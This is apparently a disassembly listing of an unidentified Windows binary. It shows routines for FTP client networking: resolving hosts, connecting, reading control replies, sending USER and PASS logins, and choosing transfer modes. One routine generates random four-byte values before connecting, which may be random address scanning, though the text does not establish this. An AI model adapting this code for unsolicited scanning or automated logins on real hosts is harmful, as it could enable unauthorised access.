lea ecx, [esp+0A8h+var_3C]
push 20h
push ecx
call sub_401942
mov ecx, 5
lea esi, [esp+0B0h+var_88]
lea edi, [esp+0B0h+var_3C]
lea edx, [esp+0B0h+var_3C]
rep movsd
mov ecx, 5
lea esi, [esp+0B0h+var_74]
lea edi, [esp+0B0h+var_28]
mov [esp+0B0h+var_64], ax
push 28h
push edx
rep movsd
mov [esp+0B8h+var_14], 0
call sub_401942
mov edx, [esp+0B8h+var_90]
add esp, 10h
mov word ptr [esp+0A8h+var_80+2], ax
mov ecx, 5
lea esi, [esp+0A8h+var_88]
lea edi, [esp+0A8h+var_3C]
lea eax, [esp+0A8h+var_4C]
push 10h
rep movsd
push eax
push 0
lea ecx, [esp+0B4h+var_3C]
push 28h
push ecx
push edx
call ds:dword_4B3C84
cmp eax, 0FFFFFFFFh
jz loc_42755A
call ds:dword_4B38D0
mov edx, [esp+0A8h+var_60]
mov ecx, eax
sub ecx, edx
mov eax, 10624DD3h
mul ecx
mov eax, [esp+0A8h+arg_C]
shr edx, 6
cmp edx, eax
ja short loc_4277B7
mov al, byte ptr [esp+0A8h+var_98+3]
test al, al
jz short loc_427759
push 2710h
push 3E8h
call sub_402018
add esp, 8
mov [esp+0A8h+arg_8], eax
loc_427759: ; CODE XREF: sub_427480+2BEj
push 0FFh
push 0
call sub_402018
push 0FFh
push 0
mov byte ptr [esp+0B8h+var_94], al
call sub_402018
push 0FFh
push 0
mov byte ptr [esp+0C0h+var_94+1], al
call sub_402018
push 0FFh
push 0
mov byte ptr [esp+0C8h+var_94+2], al
call sub_402018
mov edx, [esp+0C8h+arg_10]
add esp, 20h
mov byte ptr [esp+0A8h+var_94+3], al
push edx
call ds:dword_4B38CC
mov al, ds:byte_488B6A
test al, al
jnz loc_427603
loc_4277B7: ; CODE XREF: sub_427480+2B6j
mov edi, [esp+0A8h+var_90]
loc_4277BB: ; CODE XREF: sub_427480+16Bj
push edi
call ds:dword_4B3CA8
mov eax, [esp+0A8h+var_8C]
pop edi
pop esi
pop ebp
lea eax, [eax+eax*4+5]
pop ebx
shl eax, 2
add esp, 98h
retn
sub_427480 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 0E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4278C0 proc near ; CODE XREF: sub_401C8Fj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_0]
push esi
push eax
call sub_4017C1
mov esi, eax
call ds:dword_4B3A9C
and eax, 800001FFh
jns short loc_4278E1
dec eax
or eax, 0FFFFFE00h
inc eax
loc_4278E1: ; CODE XREF: sub_4278C0+18j
mov ecx, [esp+8+arg_C]
mov edx, [esp+8+arg_8]
push ecx
mov ecx, [esp+0Ch+arg_4]
lea eax, [eax+esi+100h]
push edx
push ecx
push eax
push esi
call sub_401AB9
add esp, 18h
pop esi
retn
sub_4278C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427930 proc near ; CODE XREF: sub_401CD5j
var_190 = byte ptr -190h
sub esp, 190h
lea eax, [esp+190h+var_190]
push eax
push 101h
call sub_430A38
test eax, eax
jz short loc_427962
mov ecx, ds:dword_4B3A68
push eax
add ecx, 40h
push offset aNetworkFailedT ; "Network failed to start: %d\n"
push ecx
call ds:dword_4B3A6C
add esp, 0Ch
loc_427962: ; CODE XREF: sub_427930+17j
add esp, 190h
retn
sub_427930 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_427980: ; CODE XREF: _294ADE7B:00401C53j
mov eax, [esp+4]
test eax, eax
jz short loc_427993
mov ecx, [eax+18h]
test ecx, ecx
jnz short loc_427993
add eax, 44h
retn
; ---------------------------------------------------------------------------
loc_427993: ; CODE XREF: _294ADE7B:00427986j
; _294ADE7B:0042798Dj
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4279B0 proc near ; CODE XREF: sub_401988j
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 14h
mov ecx, [esp+14h+arg_0]
xor eax, eax
mov [esp+14h+var_10], eax
push ebx
push ebp
mov [esp+1Ch+var_C], eax
push esi
push edi
mov [esp+24h+var_8], eax
push ecx
mov [esp+28h+var_14], 1
mov [esp+28h+var_4], eax
mov word ptr [esp+28h+var_10], 2
call ds:dword_4B3B00
mov ebp, eax
push 3Ah
push ebp
call ds:dword_4B3AC4
mov esi, eax
xor ebx, ebx
add esp, 0Ch
cmp esi, ebx
jnz short loc_427A24
push offset aTcp ; "tcp"
push offset aFtp ; "ftp"
call sub_430AA4
cmp eax, ebx
jnz short loc_427A78
push offset aGetservbyname ; "getservbyname"
call ds:dword_4B3A58
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 14h
retn
; ---------------------------------------------------------------------------
loc_427A24: ; CODE XREF: sub_4279B0+47j
mov [esi], bl
mov eax, ds:dword_4B3A5C
inc esi
cmp dword ptr [eax], 1
jle short loc_427A42
movsx ecx, byte ptr [esi]
push 4
push ecx
call ds:dword_4B3B04
add esp, 8
jmp short loc_427A52
; ---------------------------------------------------------------------------
loc_427A42: ; CODE XREF: sub_4279B0+7Fj
mov eax, ds:dword_4B3AF8
movsx edx, byte ptr [esi]
mov ecx, [eax]
mov al, [ecx+edx*2]
and eax, 4
loc_427A52: ; CODE XREF: sub_4279B0+90j
cmp eax, ebx
jz short loc_427A6D
push esi
call ds:dword_4B3AEC
add esp, 4
push eax
call sub_430A1A
mov word ptr [esp+24h+var_10+2], ax
jmp short loc_427A81
; ---------------------------------------------------------------------------
loc_427A6D: ; CODE XREF: sub_4279B0+A4j
push offset aTcp ; "tcp"
push esi
call sub_430AA4
loc_427A78: ; CODE XREF: sub_4279B0+5Aj
mov dx, [eax+8]
mov word ptr [esp+24h+var_10+2], dx
loc_427A81: ; CODE XREF: sub_4279B0+BBj
push ebp
call sub_430A08
cmp eax, 0FFFFFFFFh
mov [esp+24h+var_C], eax
jnz short loc_427ACD
push ebp
call sub_4309FC
cmp eax, ebx
jnz short loc_427AB2
push offset aGethostbyname ; "gethostbyname"
call ds:dword_4B3A58
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 14h
retn
; ---------------------------------------------------------------------------
loc_427AB2: ; CODE XREF: sub_4279B0+E8j
movsx ecx, word ptr [eax+0Ah]
mov eax, [eax+0Ch]
mov edx, ecx
lea edi, [esp+24h+var_C]
mov esi, [eax]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
loc_427ACD: ; CODE XREF: sub_4279B0+DEj
push ebp
mov ebp, ds:dword_4B3AAC
call ebp
add esp, 4
push 6
push 1
push 2
call sub_430A20
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_427B03
push offset aSocket ; "socket"
call ds:dword_4B3A58
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 14h
retn
; ---------------------------------------------------------------------------
loc_427B03: ; CODE XREF: sub_4279B0+139j
lea eax, [esp+24h+var_14]
push 4
push eax
push 4
push 0FFFFh
push edi
call sub_430A98
cmp eax, 0FFFFFFFFh
jnz short loc_427B23
push offset aSetsockopt ; "setsockopt"
jmp short loc_427B57
; ---------------------------------------------------------------------------
loc_427B23: ; CODE XREF: sub_4279B0+16Aj
lea ecx, [esp+24h+var_10]
push 10h
push ecx
push edi
call sub_430A14
cmp eax, 0FFFFFFFFh
jnz short loc_427B3C
push offset aConnect ; "connect"
jmp short loc_427B57
; ---------------------------------------------------------------------------
loc_427B3C: ; CODE XREF: sub_4279B0+183j
push 144h
push 1
call ds:dword_4B3A64
mov esi, eax
add esp, 8
cmp esi, ebx
jnz short loc_427B70
push offset aCalloc ; "calloc"
loc_427B57: ; CODE XREF: sub_4279B0+171j
; sub_4279B0+18Aj
call ds:dword_4B3A58
add esp, 4
push edi
call sub_430A26
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 14h
retn
; ---------------------------------------------------------------------------
loc_427B70: ; CODE XREF: sub_4279B0+1A0j
push 2000h
call ds:dword_4B3AB0
add esp, 4
cmp eax, ebx
mov [esi+14h], eax
jnz short loc_427BA9
push offset aCalloc ; "calloc"
call ds:dword_4B3A58
add esp, 4
push edi
call sub_430A26
push esi
call ebp
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 14h
retn
; ---------------------------------------------------------------------------
loc_427BA9: ; CODE XREF: sub_4279B0+1D3j
push esi
push 32h
mov [esi+8], edi
mov [esi+18h], ebx
mov [esi+1Ch], ebx
mov dword ptr [esi+24h], 1
mov [esi+30h], ebx
mov [esi+2Ch], ebx
mov [esi+28h], ebx
mov [esi+34h], ebx
mov [esi+38h], ebx
mov [esi+40h], ebx
mov [esi+3Ch], ebx
call sub_427CB0
add esp, 8
test eax, eax
jnz short loc_427BF9
push edi
call sub_430A26
mov edx, [esi+14h]
push edx
call ebp
push esi
call ebp
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 14h
retn
; ---------------------------------------------------------------------------
loc_427BF9: ; CODE XREF: sub_4279B0+22Bj
mov eax, [esp+24h+arg_4]
pop edi
mov [eax], esi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 14h
retn
sub_4279B0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427CB0 proc near ; CODE XREF: sub_4279B0+221p
; sub_428340+C6p ...
var_8 = byte ptr -8
var_5 = byte ptr -5
var_4 = byte ptr -4
arg_0 = byte ptr 4
arg_4 = dword ptr 8
sub esp, 8
push ebx
push ebp
push esi
push edi
mov edi, [esp+18h+arg_4]
push edi
push 100h
lea esi, [edi+44h]
push esi
call sub_427DF0
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_427CEA
loc_427CD2: ; CODE XREF: sub_427CB0+8Ej
; sub_427CB0+D9j
push offset aControlSocketR ; "Control socket read failed"
call ds:dword_4B3A58
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_427CEA: ; CODE XREF: sub_427CB0+20j
mov eax, ds:dword_4B26D4
mov ebx, ds:dword_4B3A6C
cmp eax, 1
jle short loc_427D0E
mov eax, ds:dword_4B3A68
push esi
add eax, 40h
push offset dword_43B5F0
push eax
call ebx
add esp, 0Ch
loc_427D0E: ; CODE XREF: sub_427CB0+48j
cmp byte ptr [edi+47h], 2Dh
jnz short loc_427D8E
push 3
lea ecx, [esp+1Ch+var_8]
push esi
push ecx
call ds:dword_4B3AE0
push edi
push 100h
push esi
mov [esp+30h+var_5], 20h
mov [esp+30h+var_4], 0
call sub_427DF0
add esp, 18h
cmp eax, 0FFFFFFFFh
jz short loc_427CD2
mov ebp, ds:dword_4B3ABC
loc_427D46: ; CODE XREF: sub_427CB0+D7j
cmp ds:dword_4B26D4, 1
jle short loc_427D64
mov edx, ds:dword_4B3A68
push esi
add edx, 40h
push offset dword_43B5F0
push edx
call ebx
add esp, 0Ch
loc_427D64: ; CODE XREF: sub_427CB0+9Dj
lea eax, [esp+18h+var_8]
push 4
push eax
push esi
call ebp
add esp, 0Ch
test eax, eax
jz short loc_427D8E
push edi
push 100h
push esi
call sub_427DF0
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_427D46
jmp loc_427CD2
; ---------------------------------------------------------------------------
loc_427D8E: ; CODE XREF: sub_427CB0+62j
; sub_427CB0+C3j
mov cl, [esi]
mov dl, [esp+18h+arg_0]
xor eax, eax
pop edi
cmp cl, dl
pop esi
pop ebp
pop ebx
setz al
add esp, 8
retn
sub_427CB0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427DF0 proc near ; CODE XREF: sub_427CB0+15p
; sub_427CB0+83p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
sub esp, 8
push ebx
push ebp
mov ebp, [esp+10h+arg_0]
push esi
mov esi, [esp+14h+arg_8]
xor ecx, ecx
push edi
mov [esp+18h+var_8], ecx
mov eax, [esi+18h]
mov [esp+18h+var_4], ecx
cmp eax, ecx
jz short loc_427E20
cmp eax, 1
jz short loc_427E20
pop edi
pop esi
pop ebp
or eax, 0FFFFFFFFh
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_427E20: ; CODE XREF: sub_427DF0+1Ej
; sub_427DF0+23j
mov ebx, [esp+18h+arg_4]
cmp ebx, ecx
jnz short loc_427E32
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_427E32: ; CODE XREF: sub_427DF0+36j
; sub_427DF0+115j
mov edi, [esi+0Ch]
test edi, edi
jle short loc_427E83
cmp ebx, edi
jge short loc_427E40
lea edi, [ebx-1]
loc_427E40: ; CODE XREF: sub_427DF0+4Bj
mov eax, [esi+4]
push edi
push 0Ah
push eax
push ebp
call ds:dword_4B3A04
add esp, 10h
test eax, eax
jz short loc_427E59
mov edi, eax
sub edi, ebp
loc_427E59: ; CODE XREF: sub_427DF0+63j
mov edx, [esp+18h+var_8]
add ebp, edi
add edx, edi
sub ebx, edi
mov [esp+18h+var_8], edx
mov byte ptr [ebp+0], 0
mov ecx, [esi+4]
mov edx, [esi+0Ch]
add ecx, edi
sub edx, edi
test eax, eax
mov [esi+4], ecx
mov [esi+0Ch], edx
jnz loc_427F0A
loc_427E83: ; CODE XREF: sub_427DF0+47j
cmp ebx, 1
jz loc_427F5D
mov ecx, [esi]
mov eax, [esi+4]
cmp ecx, eax
jnz short loc_427EAB
mov eax, [esi+14h]
mov dword ptr [esi+0Ch], 0
mov [esi+4], eax
mov [esi], eax
mov dword ptr [esi+10h], 2000h
loc_427EAB: ; CODE XREF: sub_427DF0+A3j
mov eax, [esp+18h+var_4]
test eax, eax
jnz loc_427F70
push esi
call sub_428020
add esp, 4
test eax, eax
jz loc_427FA2
mov edx, [esi+10h]
mov eax, [esi]
mov ecx, [esi+8]
push 0
push edx
push eax
push ecx
call sub_430A6E
cmp eax, 0FFFFFFFFh
jz loc_427F8C
test eax, eax
jnz short loc_427EEF
mov [esp+18h+var_4], 1
loc_427EEF: ; CODE XREF: sub_427DF0+F5j
mov edi, [esi+10h]
mov edx, [esi+0Ch]
mov ecx, [esi]
sub edi, eax
add edx, eax
add ecx, eax
mov [esi+10h], edi
mov [esi+0Ch], edx
mov [esi], ecx
jmp loc_427E32
; ---------------------------------------------------------------------------
loc_427F0A: ; CODE XREF: sub_427DF0+8Dj
sub ebp, 2
mov esi, offset asc_43F760 ; "\r\n"
mov eax, ebp
loc_427F14: ; CODE XREF: sub_427DF0+146j
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_427F3C
test cl, cl
jz short loc_427F38
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_427F3C
add eax, 2
add esi, 2
test cl, cl
jnz short loc_427F14
loc_427F38: ; CODE XREF: sub_427DF0+130j
xor eax, eax
jmp short loc_427F41
; ---------------------------------------------------------------------------
loc_427F3C: ; CODE XREF: sub_427DF0+12Cj
; sub_427DF0+13Cj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_427F41: ; CODE XREF: sub_427DF0+14Aj
test eax, eax
jnz short loc_427FA2
mov byte ptr [ebp+0], 0Ah
mov [ebp+1], al
mov eax, [esp+18h+var_8]
pop edi
dec eax
pop esi
pop ebp
mov [esp+0Ch+var_8], eax
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_427F5D: ; CODE XREF: sub_427DF0+96j
mov eax, [esp+18h+arg_0]
pop edi
pop esi
pop ebp
mov byte ptr [eax], 0
mov eax, [esp+0Ch+var_8]
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_427F70: ; CODE XREF: sub_427DF0+C1j
mov eax, [esp+18h+var_8]
test eax, eax
jnz short loc_427FA2
pop edi
mov [esp+14h+var_8], 0FFFFFFFFh
mov eax, [esp+14h+var_8]
pop esi
pop ebp
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_427F8C: ; CODE XREF: sub_427DF0+EDj
push offset aRead ; "read"
call ds:dword_4B3A58
add esp, 4
mov [esp+18h+var_8], 0FFFFFFFFh
loc_427FA2: ; CODE XREF: sub_427DF0+D2j
; sub_427DF0+153j ...
mov eax, [esp+18h+var_8]
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
retn
sub_427DF0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428020 proc near ; CODE XREF: sub_427DF0+C8p
; sub_428E10:loc_428E3Dp ...
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
sub esp, 10Ch
push ebx
push ebp
push esi
mov esi, [esp+118h+arg_0]
xor ebx, ebx
xor ebp, ebp
mov eax, [esi+18h]
test eax, eax
jz loc_428103
mov ecx, [esi+30h]
test ecx, ecx
jz loc_428103
cmp eax, 2
jnz short loc_428055
lea ebp, [esp+118h+var_104]
jmp short loc_428059
; ---------------------------------------------------------------------------
loc_428055: ; CODE XREF: sub_428020+2Dj
lea ebx, [esp+118h+var_104]
loc_428059: ; CODE XREF: sub_428020+33j
xor eax, eax
push edi
mov [esp+11Ch+var_104], eax
loc_428060: ; CODE XREF: sub_428020+98j
cmp eax, 40h
jnb short loc_428075
mov ecx, [esi+8]
mov [esp+eax*4+11Ch+var_100], ecx
mov eax, [esp+11Ch+var_104]
inc eax
mov [esp+11Ch+var_104], eax
loc_428075: ; CODE XREF: sub_428020+43j
mov edx, [esi+28h]
mov eax, [esi+2Ch]
lea ecx, [esp+11Ch+var_10C]
mov [esp+11Ch+var_10C], edx
mov edx, [esi+8]
push ecx
push 0
push ebp
inc edx
push ebx
push edx
mov [esp+130h+var_108], eax
call sub_430A56
cmp eax, 0FFFFFFFFh
jz short loc_4280BA
test eax, eax
jg short loc_4280F1
mov eax, [esi+34h]
mov ecx, [esi+38h]
push eax
push ecx
push esi
call dword ptr [esi+30h]
mov edi, eax
add esp, 0Ch
test edi, edi
jz short loc_4280F6
mov eax, [esp+11Ch+var_104]
jmp short loc_428060
; ---------------------------------------------------------------------------
loc_4280BA: ; CODE XREF: sub_428020+79j
push 100h
xor edi, edi
call ds:dword_4B3A50
mov edx, [eax]
push edx
call ds:dword_4B3A54
add esp, 4
push eax
mov eax, [esi+1Ch]
add eax, 44h
push eax
call ds:dword_4B3AE0
add esp, 0Ch
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_4280F1: ; CODE XREF: sub_428020+7Dj
mov edi, 1
loc_4280F6: ; CODE XREF: sub_428020+92j
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_428103: ; CODE XREF: sub_428020+19j
; sub_428020+24j
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 10Ch
retn
sub_428020 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_428160: ; CODE XREF: _294ADE7B:004013BBj
mov eax, [esp+4]
xor ecx, ecx
dec eax
cmp eax, 4 ; switch 5 cases
ja loc_42820F ; default
jmp off_428214[eax*4] ; switch jump
loc_428177: ; DATA XREF: _294ADE7B:off_428214o
mov eax, [esp+8] ; jumptable 00428170 case 0
cmp eax, 1
jz short loc_428189
cmp eax, 2
jnz loc_42820F ; default
loc_428189: ; CODE XREF: _294ADE7B:0042817Ej
mov ecx, [esp+0Ch]
mov [ecx+24h], eax
mov ecx, 1
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_428198: ; CODE XREF: _294ADE7B:00428170j
; DATA XREF: _294ADE7B:off_428214o
mov edx, [esp+0Ch] ; jumptable 00428170 case 1
mov eax, [esp+8]
mov ecx, 1
mov [edx+30h], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_4281AB: ; CODE XREF: _294ADE7B:00428170j
; DATA XREF: _294ADE7B:off_428214o
push esi ; jumptable 00428170 case 2
mov esi, [esp+0Ch]
mov eax, 10624DD3h
push edi
imul esi
mov edi, [esp+14h]
mov ecx, 1
sar edx, 6
mov eax, edx
shr eax, 1Fh
add edx, eax
mov eax, esi
mov [edi+28h], edx
mov esi, 3E8h
cdq
idiv esi
lea eax, [edx+edx*4]
lea eax, [eax+eax*4]
lea edx, [eax+eax*4]
mov eax, ecx
shl edx, 3
mov [edi+2Ch], edx
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4281EC: ; CODE XREF: _294ADE7B:00428170j
; DATA XREF: _294ADE7B:off_428214o
mov eax, [esp+0Ch] ; jumptable 00428170 case 3
mov edx, [esp+8]
mov ecx, 1
mov [eax+34h], edx
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_4281FF: ; CODE XREF: _294ADE7B:00428170j
; DATA XREF: _294ADE7B:off_428214o
mov eax, [esp+0Ch] ; jumptable 00428170 case 4
mov edx, [esp+8]
mov ecx, 1
mov [eax+3Ch], edx
loc_42820F: ; CODE XREF: _294ADE7B:0042816Aj
; _294ADE7B:00428183j
mov eax, ecx ; default
retn
; ---------------------------------------------------------------------------
align 4
off_428214 dd offset loc_428177 ; DATA XREF: _294ADE7B:00428170r
dd offset loc_428198 ; jump table for switch statement
dd offset loc_4281AB
dd offset loc_4281EC
dd offset loc_4281FF
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428270 proc near ; CODE XREF: sub_4020A4j
var_40 = byte ptr -40h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
sub esp, 40h
or ecx, 0FFFFFFFFh
xor eax, eax
push ebx
push esi
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 6
cmp ecx, 40h
ja short loc_428301
mov ebx, [esp+4Ch+arg_4]
or ecx, 0FFFFFFFFh
mov edi, ebx
repne scasb
not ecx
add ecx, 6
cmp ecx, 40h
ja short loc_428301
mov edi, ds:dword_4B3A4C
push edx
lea eax, [esp+50h+var_40]
push offset aUserS ; "USER %s"
push eax
call edi
mov esi, [esp+58h+arg_8]
lea ecx, [esp+58h+var_40]
push esi
push 33h
push ecx
call sub_428340
add esp, 18h
test eax, eax
jnz short loc_4282DD
mov cl, [esi+44h]
pop edi
cmp cl, 32h
pop esi
setz al
pop ebx
add esp, 40h
retn
; ---------------------------------------------------------------------------
loc_4282DD: ; CODE XREF: sub_428270+5Bj
push ebx
lea edx, [esp+50h+var_40]
push offset aPassS ; "PASS %s"
push edx
call edi
push esi
lea eax, [esp+5Ch+var_40]
push 32h
push eax
call sub_428340
add esp, 18h
pop edi
pop esi
pop ebx
add esp, 40h
retn
; ---------------------------------------------------------------------------
loc_428301: ; CODE XREF: sub_428270+1Bj
; sub_428270+30j
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 40h
retn
sub_428270 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428340 proc near ; CODE XREF: sub_428270+51p
; sub_428270+82p ...
var_100 = byte ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
sub esp, 100h
push ebx
mov ebx, [esp+104h+arg_8]
push esi
push edi
mov eax, [ebx+18h]
test eax, eax
jz short loc_428363
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_428363: ; CODE XREF: sub_428340+15j
mov eax, ds:dword_4B26D4
mov esi, [esp+10Ch+arg_0]
cmp eax, 2
jle short loc_42838C
mov eax, ds:dword_4B3A68
push esi
add eax, 40h
push offset aS ; "%s\n"
push eax
call ds:dword_4B3A6C
add esp, 0Ch
loc_42838C: ; CODE XREF: sub_428340+32j
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
add ecx, 2
cmp ecx, 100h
jbe short loc_4283AC
pop edi
pop esi
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_4283AC: ; CODE XREF: sub_428340+60j
push esi
lea ecx, [esp+110h+var_100]
push offset dword_43BBBC
push ecx
call ds:dword_4B3A4C
lea edi, [esp+118h+var_100]
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 0Ch
repne scasb
mov eax, [ebx+8]
push 0
not ecx
dec ecx
lea edx, [esp+110h+var_100]
push ecx
push edx
push eax
call sub_430A2C
test eax, eax
jg short loc_4283FD
push offset aWrite ; "write"
call ds:dword_4B3A58
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_4283FD: ; CODE XREF: sub_428340+A1j
mov ecx, [esp+10Ch+arg_4]
push ebx
push ecx
call sub_427CB0
add esp, 8
pop edi
pop esi
pop ebx
add esp, 100h
retn
sub_428340 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428460 proc near ; CODE XREF: sub_401E0Bj
var_100 = dword ptr -100h
var_FC = byte ptr -0FCh
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
sub esp, 100h
push ebx
push ebp
push esi
mov esi, [esp+10Ch+arg_0]
push edi
mov edi, [esp+110h+arg_4]
test esi, esi
jnz short loc_4284AC
cmp edi, 4
jz short loc_428486
cmp edi, 3
jnz short loc_4284AC
loc_428486: ; CODE XREF: sub_428460+1Fj
mov eax, [esp+110h+arg_C]
push offset aMissingPathArg ; "Missing path argument for file transfer"...
add eax, 44h
push eax
call ds:dword_4B3A4C
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_4284AC: ; CODE XREF: sub_428460+1Aj
; sub_428460+24j
mov ecx, [esp+110h+arg_8]
mov ebp, ds:dword_4B3A4C
push ecx
lea edx, [esp+114h+var_100]
push offset dword_43F7C4
push edx
call ebp
mov ebx, [esp+11Ch+arg_C]
lea eax, [esp+11Ch+var_100]
push ebx
push 32h
push eax
call sub_428340
add esp, 18h
test eax, eax
jz loc_42866E
lea eax, [edi-1] ; switch 4 cases
cmp eax, 3
ja loc_42865F ; default
jmp off_42867C[eax*4] ; switch jump
loc_4284F8: ; DATA XREF: _294ADE7B:off_42867Co
mov ecx, ds:dword_43F7BC ; jumptable 004284F1 case 1
mov dl, ds:byte_43F7C0
mov [esp+110h+var_100], ecx
mov [esp+110h+var_FC], dl
mov ebp, 1
jmp short loc_428560
; ---------------------------------------------------------------------------
loc_428513: ; CODE XREF: sub_428460+91j
; DATA XREF: _294ADE7B:off_42867Co
mov eax, ds:dword_43F7B4 ; jumptable 004284F1 case 2
mov cl, ds:byte_43F7B8
mov [esp+110h+var_100], eax
mov [esp+110h+var_FC], cl
mov ebp, 1
jmp short loc_428560
; ---------------------------------------------------------------------------
loc_42852D: ; CODE XREF: sub_428460+91j
; DATA XREF: _294ADE7B:off_42867Co
mov edx, ds:dword_43F7AC ; jumptable 004284F1 case 3
mov al, ds:byte_43F7B0
mov [esp+110h+var_100], edx
mov [esp+110h+var_FC], al
mov ebp, 1
jmp short loc_428560
; ---------------------------------------------------------------------------
loc_428547: ; CODE XREF: sub_428460+91j
; DATA XREF: _294ADE7B:off_42867Co
mov ecx, ds:dword_43F7A4 ; jumptable 004284F1 case 4
mov dl, ds:byte_43F7A8
mov [esp+110h+var_100], ecx
mov [esp+110h+var_FC], dl
mov ebp, 2
loc_428560: ; CODE XREF: sub_428460+B1j
; sub_428460+CBj ...
test esi, esi
jz short loc_4285B3
lea edi, [esp+110h+var_100]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov edi, esi
mov edx, ecx
or ecx, 0FFFFFFFFh
mov byte ptr [esp+edx+110h+var_100], 20h
inc edx
repne scasb
not ecx
dec ecx
add ecx, edx
cmp ecx, 100h
jnb loc_42866E
mov edi, esi
or ecx, 0FFFFFFFFh
repne scasb
not ecx
sub edi, ecx
lea edx, [esp+edx+110h+var_100]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
loc_4285B3: ; CODE XREF: sub_428460+102j
mov ecx, [esp+110h+arg_8]
mov esi, [esp+110h+arg_10]
push ebp
push ecx
push esi
push ebx
call sub_428720
add esp, 10h
cmp eax, 0FFFFFFFFh
jz loc_42866E
push ebx
lea edx, [esp+114h+var_100]
push 31h
push edx
call sub_428340
add esp, 0Ch
test eax, eax
jnz short loc_428608
mov eax, [esi]
push eax
call sub_401ADC
add esp, 4
mov dword ptr [esi], 0
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_428608: ; CODE XREF: sub_428460+188j
mov ecx, [esi]
mov [ecx+1Ch], ebx
